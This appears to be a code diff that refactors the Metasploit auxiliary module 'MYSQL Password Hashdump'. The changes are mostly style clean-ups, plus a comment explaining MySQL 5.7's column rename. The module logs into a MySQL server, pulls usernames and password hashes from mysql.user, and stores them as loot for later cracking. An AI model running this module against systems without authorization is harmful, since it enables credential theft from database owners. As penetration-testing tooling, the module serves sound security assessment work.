@@ -12,75 +12,76 @@ class MetasploitModule < Msf::Auxiliary
12
12
def initialize
13
13
super (
14
14
'Name' => 'MYSQL Password Hashdump' ,
15
- 'Description' => %Q{
15
+ 'Description' => %(
16
16
This module extracts the usernames and encrypted password
17
17
hashes from a MySQL server and stores them for later cracking.
18
- } ,
18
+ ) ,
19
19
'Author' => [ 'theLightCosine' ] ,
20
20
'License' => MSF_LICENSE
21
21
)
22
22
end
23
23
24
24
def run_host ( ip )
25
25
26
- if ( not mysql_login_datastore )
27
- return
28
- end
26
+ return unless mysql_login_datastore
29
27
30
28
service_data = {
31
- address : ip ,
32
- port : rport ,
33
- service_name : 'mysql' ,
34
- protocol : 'tcp' ,
35
- workspace_id : myworkspace_id
29
+ address : ip ,
30
+ port : rport ,
31
+ service_name : 'mysql' ,
32
+ protocol : 'tcp' ,
33
+ workspace_id : myworkspace_id
36
34
}
37
35
38
36
credential_data = {
39
- module_fullname : self . fullname ,
40
- origin_type : :service ,
41
- private_data : datastore [ 'PASSWORD' ] ,
42
- private_type : :password ,
43
- username : datastore [ 'USERNAME' ]
37
+ module_fullname : self . fullname ,
38
+ origin_type : :service ,
39
+ private_data : datastore [ 'PASSWORD' ] ,
40
+ private_type : :password ,
41
+ username : datastore [ 'USERNAME' ]
44
42
}
45
43
46
44
credential_data . merge! ( service_data )
47
45
48
46
credential_core = create_credential ( credential_data )
49
47
50
48
login_data = {
51
- core : credential_core ,
52
- last_attempted_at : DateTime . now ,
53
- status : Metasploit ::Model ::Login ::Status ::SUCCESSFUL
49
+ core : credential_core ,
50
+ last_attempted_at : DateTime . now ,
51
+ status : Metasploit ::Model ::Login ::Status ::SUCCESSFUL
54
52
}
55
53
login_data . merge! ( service_data )
56
54
57
55
create_credential_login ( login_data )
58
56
59
- #Grabs the username and password hashes and stores them as loot
57
+ # Grab the username and password hashes and store them as loot
60
58
version = mysql_get_variable ( "@@version" )
61
- if ( 5.6 < version [ 0 ..2 ] . to_f )
62
- res = mysql_query ( "SELECT user,authentication_string from mysql.user" )
63
- else
64
- res = mysql_query ( "SELECT user,password from mysql.user" )
59
+
60
+ # Starting from MySQL 5.7, the 'password' column was changed to 'authentication_string'.
61
+ if version [ 0 ..2 ] . to_f > 5.6
62
+ res = mysql_query ( "SELECT user,authentication_string from mysql.user" )
63
+ else
64
+ res = mysql_query ( "SELECT user,password from mysql.user" )
65
65
end
66
+
66
67
if res . nil?
67
68
print_error ( "There was an error reading the MySQL User Table" )
68
69
return
69
70
end
70
71
71
72
service_data = {
72
- address : ::Rex ::Socket . getaddress ( rhost , true ) ,
73
+ address : ::Rex ::Socket . getaddress ( rhost , true ) ,
73
74
port : rport ,
74
75
service_name : 'mysql' ,
75
76
protocol : 'tcp' ,
76
77
workspace_id : myworkspace_id
77
78
}
78
79
79
80
credential_data = {
80
- origin_type : :service ,
81
- jtr_format : 'mysql,mysql-sha1' ,
82
- module_fullname : self . fullname ,
83
- private_type : :nonreplayable_hash
81
+ origin_type : :service ,
82
+ jtr_format : 'mysql,mysql-sha1' ,
83
+ module_fullname : self . fullname ,
84
+ private_type : :nonreplayable_hash
84
85
}
85
86
86
87
credential_data . merge! ( service_data )
@@ -92,17 +93,12 @@ def run_host(ip)
92
93
print_good ( "Saving HashString as Loot: #{ row [ 0 ] } :#{ row [ 1 ] } " )
93
94
credential_core = create_credential ( credential_data )
94
95
login_data = {
95
- core : credential_core ,
96
- status : Metasploit ::Model ::Login ::Status ::UNTRIED
96
+ core : credential_core ,
97
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED
97
98
}
98
99
login_data . merge! ( service_data )
99
100
create_credential_login ( login_data )
100
101
end
101
102
end
102
-
103
103
end
104
-
105
-
106
-
107
-
108
104
end
0 commit comments